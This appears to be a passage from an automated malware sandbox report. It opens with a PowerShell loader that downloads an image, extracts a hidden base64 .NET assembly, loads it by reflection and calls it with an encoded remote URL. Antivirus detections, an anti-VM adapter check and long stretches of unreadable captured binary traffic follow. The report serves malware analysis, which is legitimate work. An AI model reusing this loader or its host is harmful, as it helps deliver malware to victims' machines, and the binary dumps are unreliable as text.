$webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Firefoxs' , '1' , 'C:\Windows\Temp\', 'Firefoxs'))" filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 1 process_handle: 0x00000454	1	1

File has been identified by 3 AntiVirus engines on VirusTotal as malicious (3 events)

Symantec	ISB.Downloader!gen40
Kaspersky	HEUR:Trojan.Script.SAgent.gen
ZoneAlarm	HEUR:Trojan.Script.SAgent.gen

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Nov. 2, 2023, 10:05 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (50 out of 390 events)

Data received	[
Data received	WeBö>Ûâ_vÊ»\|k{"Tµ TGþýoDOWNGRD ×å®d¹Yà"-ýÛct27Â+flý?øôÒg Àÿ
Data received	}
Data received	K
Data received	GAyXÍ'PÓ@7 qæWÚ!dFàÍ"[3ð©ûf Îieâné2ù^Ñ ¡£`LD?ZsD/áÓHGÌ¬î$Öøwc»Bù\ Ë7¡Á³ªG(1jï{ÎfÄÉí,ÅÈ9²<½¡¯3ÜÇÑmóø\|>´³&NØ1`¾Þg¸ãt9Ä¤>×VòÅ¤õ¥ÁWAÏEý¶ZÍ\|©aRÈIóµF$t2ÒÏp0íW,4ë{ýU*sÑ,z(ªr_çd\uÍK@?åÆß-A¾¾Pïã¸%Ê#³Üç+ÅvkzýÐ¡æ¦D¹çqÊmÅâ(ÖsqrÇ©ªßeÿéhÙMÚu±74ð %yâÜð Rãý<Cô?åÇ)
Data received
Data received
Data received
Data received
Data received	0
Data received	Ï?5¸b×óz3ä&nóÂ¬ÞÈ$ñ{ÎÙ¿¥¿=r Þxöº«Ï¶¢
Data received	p
Data received	bü®Æf',ø/â« tÓáõc?D/* 0àVd<µm6×"öÆ(>ã:Á,ÉåbC(lek§pV"pQiêÙÛzpÝÙq©Û£[V©Fù¬0¦;§pBv £·ÂÄß§fH. eiËg\|v'ó5á-\|jùDï\|SÅe0©ìX¤åîÒâÕT`ª§áé'\Bâ- ¶oW²PõÎ¤gã?¼¼¯üABïíÕÔð1¨ 'jdTBT´Pl#çÐ·[åÈßüKp´ÂY"Oñòç©^î¹´Xx&²{Ï3ÙÁ¤[XùFsE9ì£%q¸G;\@¦cáLÔ2(6%Õºf§øuBE{ÎßÇ ð+'lÁ#ã{¢Rù:Èëqv¹©á ú9þ^( ÑPn"~2>/åÑ¹dj·Dn\|F¢CxÅg]ë]uA\ß¥ñ`\|£÷uº~òiIJOqBb 9Edã M2dVb(!ÏÜÛãÇ5ÑùÀ£)íajNY÷Zát8Ðg ó§h\V7 û$DB±°ÿüÞ\|Z5GëÛuùÎ/Ï3XJ@px#yÐ:JYáü¦Õ²®¦T²ãa¶xÇA£AÊòª(4¥ûÒ×[\"5c¨³éùqåFÇñ:eîTÓåeã4hYìîíA¢ñ[F¶U¨o¨¼zð?hs]/:¿Ü¿îîx´È¹ôÕhP#Ó ÜóÆr\^#v×öÓ7öÄA7u$ô@3g¯9UßT ¿§2k'ú7¡UÐIÆCc¨8zsÚ(gdÄLìªXÐ³ÔLOe^ójfX\âØ5g=¬Ù¸?¡y±zØÇÏã=Tâ¥_Ô?Fún¬Ë/Ð¦Áÿ} ¸Á§Mµdz¢Ze¼ßÙ?ä#¤ÑÇktrñ ÅOÒ^ÜàéÀÚ³Þî²_Ù ï¨tæmIÆÖ¥¾e¾Å"ÓsÉ7Ou©àMn¿EF1¢AZsëVôÊÿàêÒ17'àðÁD´øP$åá`z =DUhü±xúô¹i=kæ(Ñ (ê â¦ªað!\ávÐ»)]b-7EÀI¨Ü>!?¨wê{Ñ7'Rü5äÚµ-éÐ©°ÂQMh¶Äñªn&½$ù&g\|MóÑô1,çtùªÎæw5'ÑÅÔ (Nú3Òÿ.üÞTÒÊmAíd.:\¯oFÈ_q\kÏù ¾uG¥¼²êÑ¼Æ3ÏÐ,,Ûç'ýG°Ø0ÍÿL¦ý¢ð7Ñ[ëØ /JÊ»éÈÂÛ æÓ;6øÛÇ Isã"óÏhëvæs÷bsùÒ¸(vCú>¹Ôñ}8Ï'i 4 $GÇ=ÑÇÍ$6c<ß¯'&À EöúAÕXáw¦%¸@^\|2£¤ûW[ZY«kÜ}1Úÿ«9¤`b*\|Iz£7wðvãª6Ù¦úrÆ%z³è^öÑ$0P Ï©ä¶\\|=úÐIkþÀ)K."Lcp/oÚ¹ÄË v.eþ?È+ÖÇ7Õ<§4XS (N9¯Ö#V Je¥aÞ«d,5u#'ÅH[½;uËóÝàY¥>!òpÓuW·rë/Ðß^Ø{8;_6}s×ßl
Data received	P
Data received	õs`@UHd«´UlO\|ò<=õDÔÿVO<'ä; åõ¦¢0[Ðh½eÉ3×-7mùÊÈóés¡bYlaïÄÈ2Ö¿m&u\|ÜæÉlÒ®OL8Í¿UM$:/ÒÜ}v+*·ùâùð¸ìGjÁxqÃøÓòb¹,rz$í×j¡V¾âM!æôMÌ!_M.ûFÞM©~;# ~Rsßfsþ¨_Qd5- åÇB½a²8Ò1HÆp£ÓFdÂÞ§ðSg;7ê¬-¸8![ÛÀ3jUÚ¢S¬Æ.uÏqJ:nâæôßW<Q.¬>DÄÆª Õ²YÑöØ¿It5ÊÂÕ~%"±¤¥Íö-Zð¶¹l åï+d+¼½ÒJÝ¤PPdÅ(
Data received	¬^Õ±¾ÈÛÉÀ?¡¦ØID8æÛùß«½?ì¢kN6ÝØ\|m¯ f0:x0¨3ÂXæ®«MxÝoÓBÛ 8khLÈp@ï(yÐ®[y,³Güz:, ¼^ZþúàÓ]0=O.t/J÷?àÖ@>ûÍ75ÏZhSó-7-x1åÄ{ÏP+Ïi1ñ\0ÒÆôëmr(þg:³öÞÀz¤)mj»é-Ýe¨?x`çÏ§÷bDuO=s£;WÄr@Qñ uþf&qÆ<iP'Iúö¥BßÖ®W¤°øç¸Ý FµßìÈ0]NaCf¸G ò¨ÉàÙBKìzÁçkIÙ9Iý8Ã^WªD Ñ¨#q>j¿Ì\|¯óÔË°ù¾o6Öº·«PxïÏú]-øaj¢´âÐæ%¾FlßWÇlrÅsÊ8'¬Ð3t¾¢ìèç'¨ÔMÕZÓbÏPýï-á±{{¬rÂ,ëÃ>Ö8Epj(ì5 _aF`~¦}¶¹ÆyaKG ;¼ãðíÙPz7²¾rý'µÌCÏófªggÕ;Ä;à^Ò\|ÇðÉû+FrgÔaÔ/[L¾ué×ÈÖ¶ÙDøAßÔúÞÂîD°fÞÛ³·ä\|EèÙ¡Y1ÍÄ,9 êÈ)ä qI&.`Rk msô}wSÙàqØÌ8\|VïÙíÞ+<sÔ£íª/·²]CðejýSyù""fh»W÷£v¥a³ U@ðæ¨ ¼b¯EÐ$Ñ¸$e"Þ<kk;]Eõ²IZ\|Ãê2¸o~Ktr"åX"?àFÿhÞ°þÁ¤Q+¯²ÝuÝhz±7øÛ>¹mßmcÙÁÎ5½A÷cHGhÄä"ýPU &üB¥?X@ÃrÔ1¨¤oI¦#÷I¥÷ÇæéQ b3).¼¿²A.·º[äPê+>èáîGÔõUÑùñ"/èÙfº½ÜánÚF>¡7°{põWÉÀpì£Kã õjPéòïïÉéÍ×÷E3K]ÿá>Úú·ÅrÆ`?FþÓCQÄlc÷näÕóßÊg$äuùTJðBEÍñO,7µÓz¦DJèM°4ÜµGÖGÈÛåÅ&¯4jîÏ-Z±(t'À¯ FÐKÖ¬}ÁóS- ¤JnlW94ÿ¹¾ð-&jÓj@Ýõ³Ð6Í ÔbWJ÷ÇGëV´ÉÛ3&È¼ûyØ£ãÎ+ö<åÿ$ÊòTGfoÉøÂáMd7b¶}¹-X/çî'/åï´ú=Ú¹áE=í³/ÅãÍ¬L§¥uâÏxtðpè=ZÄCë/JÎB.Ø¤Î»;få ¨X\:~cÐC³NãÁÏ1ßÈ8xÆVÂµ_*Uãùël8Ç¢÷Ã 2Æà5kó)NñðlÙ1ÍçÖÁ;{À¿Têßùø¿öZî> ½_:Õ:A']C¶ oa>.ÑÆsáð)BÂ¶dÍ{øèòªL^sÄê@ 2ì ³üÓØ«.}.ZEuÒ÷ÿäçb¿Ì6Tm,9ñÌ³äPTá5(ãÿÿæ.¦£°G£¯4Í$.a%ïwÝPXG^2ÓÎ
Data received	ù"äô>Ó'-÷©J¬;(W&?¡bU=fJÙê2Ùs«÷å>ÂÐ3è3¬¥¬Ï/I³ý)ïAî3àhÊÂ¾ÔâTZNôaULÂ¯cØ PTQu§N#Ñoéã»ïa«lNI1Æcü×²Þuu6¼¶j>EÑìÊ½çÊ<îú8o\|M«<±C¦Øï³Ñ¤í÷ q%öBX4Ý ÆÌdi5&t!CÛÒd¦çÅòºëlEpnvü\3ã>õ«ìrg¤>GÁO^Ë#êïÆZýb/3´óR+é^Õâ²Ñí[âIÜ,ò6s¦måNÉ~væ,8èªäÑ{q´ÐÕ}·,ÝÖ^OjLpZÐÛ;6¶É°Tø±¿jÎ©¿ðÙj¦ÿöínGàXþS{NOdÁíùà.Kí7þÃØlô¶(CÝç´!¬V2lvýiõå,Î¥Õàµå+Zôïîø+¬pGó<¹âYAM ca¢å ÿÿ1I®éüùJ)Îá>ãì´¦!W÷BQ2+Úç± bÅ´áXäNÎBÈ²=Vuè½¯4bÚJñ!n[F}Ce E×°@«úÄs,$Ý6ùûm}çÉ¼\×«¦=êõ´ðÌMÜ=²9.XÍràÙL^ÅÞÄ¿±RÑ=À?ªâñå©Òåâ7Éä¤vðpUxDRêSßNôLóXpVâØTì¯¸ÙxMI#8·5KÛÈqD .Up×fHâY´4eVÚÍ-cgôþ-s<±°Ò ! 9eQl}Ò<§{~YÎX/W?U ËUa$ ìÈm( ÿWrfJwÐj)ÂFK}ÚÆø)øOõJïI0xw·þGeþk½X¹çÇ7Q1Psgß´íc9Ñ¨}YØO¢ÅHÊ#üb'¿N:ÊcImc6^"_·7Ì[ÿm]ò(9ÈË'Òê[®§ÞE`vN»·â®ùQÖ=]ÿÚ½µflz¯ÚÐrÊ:eÈCÖpð´îgvÍ,æBù§¶©@ÒådC¿\Ñ3§+E¶iP 0Él¼[lÈÅjv±Ï%pÃ)Â21¹y¼Ã?QÍòqñq¼÷Ó½à(Ò£UwA¹åYf],Lµ³ %ß?ÀEm[Rq<¼ýÜzgñÇ¾[æ1r0®P:¶[ÇÞZßFÐ'-ÿ@!Õäñ¡´A¶îpíVD©«Ëð½ðÄ½¶)xÆ?MY«¢îW\ÿäfd£7ý,¤Æ\| w'Aµkï¶Cv³£ªiPQYÐ¥dm/0eó¼(Åéãîhj DÍHJõ÷b½Faï©LXÂ¼sþi/z9¦]? s²EY? ãÒ¨XMÌp 8N_T5\|{`Ô¦#b6½ÐXä^ëwØô¸2ÐT³¦ÜëRsE: ¸ þÉZk`uÜîÅ/Kâ¯§-L(3½&@OKÓ×úXYªÉ-ò¡è¬ëQ )&T·\a¹aIÏµü¼ ´Çjá¸"V%ê8Ë&³Ð(z<½4_uåø-I±únW½´ø²¾2\| EüL!(å í®2òW
Data received	ÂÏ±±\#=Daæ¬»ËõSHA¸Í7<ÉÀ¶0Ù×²>R®¬ÝiZ;@«©G÷d øWÔ3ªûMØu¿e¦ï@ûK^3"á&×eúQcûl©/ðÛmkÿ^ªw®f@°ü>íthë¶Ý§Øü¶Ð;=û á¼:Í&6¯Ò5O$C¿(q2þ/¿úe#õ³FW÷$]uáÏô/@y _kg&n"Ó°ÅRO§c÷à=lÊG Ùä6¤ë"1ðs´=_æÉdhÅ³>?ÁÐSLC¡T#û»}'dLV©oV*?roô¬Â':2-áÀ÷Â$ÿñ«Ëo¨.Àv`GóîÞòOÍÎSÂß³ÕþDÔâ7{Å¼÷ÿPé.Ì(YVå:æóà¦,wÝìÁ¡m`ÛE¶íP¿¯Ç8ËÒTå§þ;°¬ÔuàY?îB¶éÆ¢ºn:g¸_`%@4ïG>=³°Eniã¡Wø9LÒ&ÊM+ÑÛº]k2½x¹E1?©L3b5¸Ú´ÆøuQºåK~D6`3ifçv0øU}ÙVB<}QúÜEÆñ°mo¯UÇ!5U 9zá®èäGúÐÜ~ÜÛö×9iô(Û'gIßSRègöú_Ô9IUåó´Ú»íÀ<h©¥è:&¡B·iéãe &p&9WêÂÐáhUDwO#q.·ÈîøÏr¹c£ônhòñ+'U»3zXÒ³¿Í ¾ÅÂö/MÜëc¬²öþíª'bÇ´nOT¹b©8J$>o¢ÙnGY¬Ly ±Å(JTÛ+"ÇÓã©$@ø¹å°ðö¼z¸%·¤çSä¼ÅURLÊ¼ðoaÀ2ÚYÍ¾}ºñæLÊéÉùÙÛþæ. !æHe#` L[{v³lûq£\j§ñnä«íÁæüÛtÂG¦ÍäÙÍà-öA6±^ÃQY¹R´½r½»Ná¾Cc[,h¯¿±í¿ÝEf]ep,L×Ôd)TL§öç©üh×Çg s`ógr µòÄ¾/A-q¯¥VJÌèÀ3rîÿì7vB½Ú~£¦&úÔ½ï@Ò$]hKÍhöiüº÷¿©cÛîJ¿Î3¥8^ì<¥^"P\|ÀÀõõ óóÀ};Ð)XY³[e7íÂl=øZ9ÚtK¯Z~aìÐTê#Ô5G{0)ÜT%?XÖ¿\|M±\|ò7¹çéÊÃ9¥ðt\|&Í\®:\ßr»à3:ýõû¨àTíüéóÂ Ëéý°AÂ@® H N»%=QËRPtýÀ: ¬ ¢ Tõ¶&´'kjú»Ñ8$5+/ÙÊ³²]1OHÅÍ¤SñötÃ]«Õ{+§Ú?¾GnÐ¶2ÑJÜå«¥cbrðPÉ¬Þ5ùÄùjRé´@´ }dÇsÅ²z!X.§!s¶2ª«¨9Ü°ëY>ûËÓYNÚÔCâÈv£·Åû®6ªÉÃN3?]hf½íÕÃX+÷àM=»ÊR£#aWHßh÷â´I%r×S¶·Ôþü\èköÔËtâ2ëàÍ°ïk.¾WÁËÈe_íâÎøpl/¦
Data received	¨ä#m0üÿj,Â`ì3-e´jG¶ÔªìÓÍDyÍ=$ä~¼Ú¸ u¾W¬"y·$uù K@ØT9Iß H¶c°è£2{¬ò¡a40&>ü¹}·å ù{!t\gáÆ hjõÞSê£]èðh-yÒÿ?l8ãß±Ã¸§¹ñÃG¾l ¼æ²±'£ºÔ_Ê;McMøõÎÁükÛ9^ ¤Í¬a§Ý±ÈsGwxg']K&2ý«¯æt&?êOdyäÊ7îCª\¡<U·+Óþ¦!Ã[@\ÜíÙ¹±Mí¸ZÇÆ%°ôRLKñ.'t5Ë²qÃó< $Ê§ºöRàH·Ô5pQ-jÚ3âZJ¦âá"´ol5Q@Ðä²:öã¢aI":c1°@kÞha4:'·ç7K1"hcGy®nÒm ×j¾ötø®y®Bþ#<ëÜ I¦Bé-M./t°éãËÖAùÚ£Øs±$GKR'oðÍÃë«Æ²É®¦_j¼.ô´wìñ¿$Ð÷E=Ók\óúì£> 'µª½)ÁãacÑÝ³×ÆÁÈiiÁhrØ¹øîázO¨O:®GG Å §=ýõµý{2n,°$¬S+E4Pp, F·ÁÀ`¢Ý#%$ ¥Læ%æü7eæ¹ ²Fá×7~Ä~SÈþÑ£eËX8ë}¤K!à¨:¹13¦në&+-Jk¬!éù¥[t í(¢À ¯F7Þºàµ@~ÔÃq¯KÞp®²j"¶j¾X0Ñ²Ñãý¢Øl ~1àÇ',ã¯âdÁßH (Ï×}«<Y fºA"ÂOÿÞ2n÷·]ó·>Q<ù£I-®Ï4 Ïa)>¸8DW¤üb²âUÅcÏTm·NoMbñR ñîÛcua¹Ý°§é'A½ B{VkôÜmÓ®tÎ^ J+º¼£9Ï@^½Íà Éç\|Å51ýU\På~W`ç#ãÃJ¢ds×¯(&¾®NbñÒØL%r~××r¬Ùgk OFåò\|$ù·(6Gv^~tæ?¤,N:nd["{!z!R Ð}aSn®3r&RKºòåQáÁíû.#`!,¿ßºB,5×øåKPÉùôxiW+%¶´àîx£hëS271Îó$Zô¦êoâFbôxËnHô ØL ÀA}uW?l6sVÆ¾GÉáÉxÖzö}rÈQ7E´i²Õtì>mÑ9,4Æñ¢8KN£ê 1\|Ã½i[ ÞTÔÍE¿5YÛ(n¼KÈ¿éºóí°fÅÜôqÌÐáÈ/ìhÙ¯,þFg4)È~]=LTñßW@núîêjæ}$_ÔÑð«nÒØÕêpßÈTÅ=XI¯Kì×¼Á u+*ç ßÂá³å®H£$z"ß¿ø-,£7»ñÎ~#÷ÅJgñÿN°ÎYr'R~;²qlfmØµ$À'" 5o%iF4ï¡jõ¯õdÇ ?ï#(óq=±Þà,wgíæ4=8c¥Û4µ7¹1¤»/å»kö
Data received	VÙ08ë¡æ âë ãç³"(FÏDVRp+>ÜûcÞûÒuWÏgXÄÙje1:AoãC ÿúV¿j®*Mwå¨(ádñIo:æ¬/ / î¥ÈH ` ÜlEÊÆ:l/¾`³<n×èTU'lNDE5ìõSrª~ù¿âQÂÙÐ¯#ñ!maÀ'Fùf%Latá¶û=KÊuåVÉ4·Î½ôÄaÅ¢pÛTÏx°s7ÓèÁ°ò¦Ò41ýw`ÕCÇÇ¥0§Í'úW¹dR>øKwEÛMô×/ n÷º`ät26¶pqêïùkr¾ùi§Íb·ngTÌcFZ²Q\åsÞìÿl[×ÞìkGs¡k·²wÆ.UÀiä\|fÙÏÖ±N©o# ÞØs jôD.ªîêgEÌ°FæV8ñï}N,4ÕnyCýøÕ°U~c±$ÕF¯MøçÉèðÞT<öÌ4}5ÎêÓß½ÍýâY2ªW(TíqÓ$ YwkbWáÄ¿æ¾Í¸u®?cänÚµko¹\RÏÚûÿ¡XE!}ÿO´ %fw:Ô£¯H3gò9Ö:©ÌD×DaèäÕÄçóÍ£Å)&¹)ø§.#Å+VY<8Ö. Þxw¯Ü9®¤ÆY}HUjÉ`¶[¡=Rc¢8ÆtO0¸VC!Q"éðCQÉÖP æJâ2lcU¯ÂÀb òwEÎ4¸ÁDÐp,¥ô½Ðyb«ú=EWÕÆzÔÍZÇ¨tü'ªò6û9\|äÞkøõnqº3l ¶O-}YMÿÖÇl¹ú:¥~n+ÑØãÊí{¡xv§'èôÃX°ýrv÷¡CVôÈK9JxmÇeg0wNËør5òÉÓn¥.W¯w0ùµþÎv¢´Ã2OþÜ(¡@¦ºýG«¹6$ Xù©öÑ²w qI'MÌ}µ@ùRqL?LóÈ081r²ècM½ZJuÍé6iÕêî®¸XØgz2À¦î<ìÝ7lk§¤¿gCm¾«z¿Üa/µ«3á¦5ó&\j}#åc22ÖúÁ?µñWK:Öãjè±kã5m 6)6y©x@qµ!q o6xxS²xä¬¥Ò~$"\WáM ÌãÛÙk,ÑNU>ómmýé¶kífu;âÑµÑü{"j¶Oã4 1ë¡¯ÎÏ ÆDOÛ~zÜõ@ªc ¾eÖÑ¥!Û>ÛU¨sSBY}Ò,ÿEû\/lù(`ý øAjû]¸GÌäÛRå(°^ã ·Îeó6á½Í'3·Xky3à^AÚù»êõ Ä4ª#.©9Òw#Æâßé¶õþ¸#kaØ³b¤ïäN®æúÊ Óúq!«?ÐÀ7Ô®2ÝDÀ»Ë4ªÒÏKQgÄfÛsÄ,BÎvü\Gÿõ06§Ö:³ÏqYÌI@ Jÿ62Ä!ä>1êÒuÃ)w³~é±©\çñ/Gé}ÔM¬0'Ù£\s¸j?©ö¦ÛÔ5\|°#ì<[ì\^ÌRZ·X hHëgý²o65T ùzÂÏ8 Ûã3äHî+sÇ
Data received	^OïÕÜÂòy,ªÇáË"l©)á¶î<sòÖ[âlÇîríoôk zkùU#ÞÁ43mÕ»æðg´ÌLPÒ¥é·-g3}.$»Fà¤ã\|SzJ5`yäs0à£Ç/Í²ÏÉD©Iµ?¿¡îä¬´=jÃA]q KÃjó0z8Ý§û©©Ûàé¼Ó9¼\|Ú#ÒÇ S8J1¨v¨·¶VÕÝ_¾A¿ÿh,¼$ÝF¦4q¬Óêzâä©Ýxy9#ikoä)ïÄæ~VqÆØCÈûæ1ðÐ^À´T qRBg~òçÊ«ó#áiâNe½¨÷ ±§ìúÃ<ú%J`{ÌÆ=4ñÖÓ£Kéñà`"»Ñ7\÷3oQ/Ú,B\®jçØq8D&À\ {w²¿â÷ù¿Òðºc((U_FìqÂ@÷-"ØÓç³\Õ«é{Ï[M -/,ToY^ÅFdP¬¥W2¸wsÒ«¥üg<Owk¸û/ÀcÜv0ipSålël]ã`É 7H¡ÚÂ6!ç;n9\|Iü°Á°¶)HøNb\|\ wúÙx9b¼Ñø@+öÝ;àc<dÁÀ`ôP¸`CØZâçù:Q/ áÞñ´mv0zéékêöt¾ð¼ñºWUCêÝ\|L¹í á{ÌëÀÜ?´:ªôeçð&)Î%mþ@_hc"³ximÃoz/>ÆMØ)'¼:«+¥fÒ,¼ó?ªµs¯¹6\|æwÐ)Áµk ¬D¼õ4 «Rä4î¹ËÞÀúï»qÏübaÓ>X^pS7úÕåøg\<³I¨üºç,Û¨Í"\|Xæor5(Æ¦]-õ% ØÂP# ´¿ug8Ë<£9ï~®ºî±õRÌ~tÍ±¹¤·Vgt¬×sk¨AÎ,úÏ9â&K©`ÿÔ\0Ôí nÓ¡\³·÷>bÏÑèð¾®ëö°>ÒÙ¸:fÖVÆ>ÊGï±T¼û&.Ç2nÄûÃk~+°$ÃØÆ 79çj·Ðå{³2¥¦CåwÏòKýK¤¶P¤?;ÌyrÐhÒW3?¯¾îéåácö±´£¥ßgcÐ5¤HB÷tüÄ¡7o»2"ýö· ²"¶ú% ¯íùî¬ÅxH9yQÍÉå¤±u[½¾¯E»ÆÆxêÀU=JíM¿R»õÃ.}Iáhî(â»p;JQR-¹:1x<A=oIkÃÊÞH0¤4oÖr9ßW½NÍG$B³~ ØDñá(ÿô(ì^zìÕå4Û^òAÒlÃ<Ê\|P w/D<_Ë4ì@ñ´ òQ¨¤RÕ>¾^íúeçÇ2iëd4Ð$E¨gl"¡`-£0Ò©AìÄ}è²¹2Ú>¤DØG¥435âsûÚÅ[>ÁÚÐ«ÇnîÁ8Cïé¤àÂGÿ(ìzXjÏÄ]ìC¼ËUÌp¤ñÃ5xíLvîý5çË2²[vz£Rÿ³$<?)ã0ø;îgÎÆ<ü/¡ªöÊEÙ]ø·¬RFb¾,ÅöAT»"Ù0¥Ù\k:- YI0$lÊöüÜóf"^êäS{ý=¯Í©/JýÈ¸b Qg>É&¤þý;5À5«â¡ûe¢J\|
Data received	óîDv}osêñ¾Èí²y¥¬ï[¡e£WÞÕzäèÉÎ£ÅÅà`5@ëIh¯;A¶ßºg×OÉzåÃÒi÷.¹= âåñßÂ0IÌiClðø¦\Á º61í½±ï"çaêÔ%ãwFÞ5W£nSJ9¥PB, ¤?Nô¡bS9^=Â,À¬tè;TÎ+Þ¡$o>ûÊñ2E8®¯V_>zOú D®Í+ @GÀºyuÝÜÅsõò >èä;Óm¯yÉØ>XxNvm{/ËüC Js7ôÃyÁnB^2¢Rá©Û-¨Uìâð¯#Æ ¹>ý.¼¥ì¾Û7É©þ^7}å>Î:Ï&.F+ÎhÈw§àÚØl°#Ð¸øm6_Û^'30Ô_®ñzÎÁñîñÃ¡µµEp±]wH:RUãhwÒow¯AEØ7lÏ¦44çy?°YÐ¼-qeu-S1(³KÞùíÆXD^¬8Êÿq8 UÝ¥c\$øÐ4]çø¸ó7ÀZ^0ÄÐzà5tMä±±&g³Â/ºæË¾"Gýü¶DäéøÍs6b§§K¥¯Ì@Ö;§9U´äN^Í(0Ô»&µ"¥!úÈÿç \¾ÚOhú·(åLx!©ÉîYÒ¡íØ^_JöP¾¢cÀËYD!bzÑþGÇy¿ ÊbÂc[)ÑKãþ\Z>^ÝHÍò¾$ C#9 Q5vnàîÞøÝÜj:ÑýX) ÒB¢!Þ/+Iwí¨+*.È#DEé³Ámâº°¸iAVmvyWR5èDìyó&)$ü^J.WÁÿÙ&¥4Ôû?EkÊ'9c@Ç¡_¹,ÀÐ!T·fà×&ÑL7Ä<®ßZö§VóÎíJ$#½ÿ@#tm¼Ö~2N<ì8M4Õ\âú]^FLE8Y:\|Ñ´&ì(;û¬c°çÁÉÃK»áÞ½à)(¾´gÊ6£û®Ê«ëT°ÎÌqÄ3ø6óY"bìcî~ÅÉ«WhxgaõGQ@ [` ¡ÐuqÃGÎõ]ùs·©wðIñÓÁÜ%LVËX?C[.Ù^ªÜëÞj1d(R('+OUë¹Lj>æ_HÅ. ÈÂÝj?[%Ý¢\|§rý-)I#ÏÌ6(cÖæs®6¡É²³Ò§·1c½÷¸ÉÖ$]g¶í ÕÌÃ¼Æ¿ØÇêä>C3æ®^[ñè NPAÜh.×ü»Íøùzææsº»ÚÃuvdÁÕL¿» çóþÜKLW2ØÕUÞôPzK¸F7/Z ,&ªþwjº)EÜÇ1qæ°NëÄ»õg2P¡n\~Rørä¢#trv"ü9)G$ùâdeÑ]l^íì#óÚ:s¨q5Ä;úoó[Å6çoþîF`;ã¡K÷ò_ËÇYú"T7_kW¦4{9hE¹Ïpjò@ìÁÊ4e"ã²Ý¥7óYjêb^Õ8êmV&EøÝrókº]i)ÝàÔîVP1edX²lëãY¤ ÷ÍO Y¦Z\Ûwð÷¸ÖËÒÂð4uù×=Þ¶R¿@q85 ÑÖX`ÛônÞ¢ú:üié¬Ý±[Ò÷óD´§Ák-;"NêhA³Ó¨úí ox
Data received	ý9!û:ó9Ñuõöeäç¬ïº#xÍv¦Þð]3EÒÈ©R½o³4©.;Giýw¦m(»3øÒÈ«Z?LvéÃ ùE nK÷`9Õü?ÌNì½ ? jpëTP<¶·]G `icúñr$.ÈT^æFA¡ó©ë`?¼qÁ¢bÕÜéQMlSÝ,ù2M9é9p¸e^°ÓJ0Ãõ0þÄ¼> NE/HAê§LÌJ§,Ï±¡%¬ý¥·º¾»äÒ° QÚSí÷O¥ wObæÐ Q5räËÞìýó{ÄY Åµc·ô°í"DçCC¼Ikð3 \|!´\|è¢)Dâ·cQm;O=£!^ÞLn)90#7÷;ÚëD ìÕÅjËWt,ÎxAq=e7pV£ÿ)kl«·dg,aÃß'ÆV<P Ñ>å ¾Ýâãúg1j¡ `Ää6d.;ÖºsÙ#e}<x\²³ýðËß:ëµÁÐµ{_©.qfNsÿ{G¯urZåK©\<ês´ØvqØð÷¤ÊêÒ¥¢¬Bh°iÏÄ"Á#v6>õ§\|¥ÁvpMKåëÚ>P·y?GÌKößÄ<ßUYBU¸q÷£rÝÎ5ImbÈQ&úÊgú³kÊäovíÎÊÔù8)¸V¸ëÔ½c¾®OI_ØU.§^Ý,WÄ ¾>keAI×ëQ¯h2Aÿ<T+Kmo4¶-ß{©á2àî_a°6°6ýÐSXÛ«üÆmèÎÄ^ÝKlMûðÐiq÷ñ¥×ç¾2¤1â3ÚáûëUtª9éóuZ\ùq¡+gÆôÄ·´z)lw_wÁ\ð@vTéßsZ³Ìæy±Êu§ýªp=ËÈÚg=O>ß]úLämÒÀ~½mð ^zçõ.îw(ÓgQ Ítcåìub ©È?Gc²-¤Jøð!óï®ÍÑ¬ìëF>{oÇ¦('Zåw}>¸¼ß:ç ö7zPÊ¡j[=öèËßxØ1`ÜnÍSúÆi¢ä·\ØÈÃ©Oqÿ½{ KHFN¦iøM¡¿u?bp;¸°ôµÒ}Tr%2Ç¢Æ@ÔêßR@©µzÅÝÐcUÏ÷Ü´mp=wàì!»Ô ðÑÃàÚã}ªa%VîäÇ)s9:Kõü?ÑG=]ku³~2q8O©®GÎth§¦>ÊÔÔ·4öËu4ÔKÑºJÍÚ+Þë)ãï3Ç½\+V®àk¬-úk= ÝL!è{¾HìaÃ1øJ¦Ýt©fï¯ßm´åOerçiIVE 7ýßOÑ «Ùùkà¦;¾®é&þÀþ-M=ÅÃFvßGã#ãà³yt~e¦´© Ë° g+0b©C²¾âÔaâþqâaônúD´%áZ2 9óÜúá6®ÂÙxvpK®®¶¸Þ8Ûìá¾f4 ýÅQ«ØÃ³h¶¢(×{¬V}h>*ÀäÙ6ËsAÑ)Ý¥b?tDMÃ#ûj\¨ÚëB×b¿ÊÆúC6é~ýöyø_©øüú°¢¼ xª¼=Å"!(×r îÑ%¸ÍÉQ«ë\ö
Data received	umÜ)6)ÐÖËíqKÃJyÿÀýK@£½AìüÏõd©¦:G¦0ìVöö0·À©ßò_âÊøÞí´®í7æUô¨á%òµtËçzé ¢f²ÃÙú#©ÈÃÞÂô+P0w2Ok1²>©ÅòmÚIg-k-o,°¤çàp³z>à9ÐüæÇ<¡þ µÉiÿ©uÜD_>V¥½5¤üu·JÇ^0bj?ûã1Ý.è×b¯JJ£¸Ð¸;ÛZï»½WzÎÝ5ZÊ·\\|ÂÅdv¶Wp"F_½HÎ=Ã%Æ>æ.íyCøÜÖVgdHKiB¾¢2ïÌáôòlëµUL2Rµ¾T©dÊslL'ØÁòpM'éT>9,8àÿÂ9ÓXø¾x:v± ¡úß':¾¦¯õyR¨²k³°UÈneAùmëñÖ.Y´{ÅYØóêZ¥ÂRZ·¤{!ñ5qÞ¬¯VÇ=þÏÑ&ÌV#2}ÃjsÑÊëW8oÝÆR¿YÎÞaî§fÖ1¨Uÿo¼ ï:El 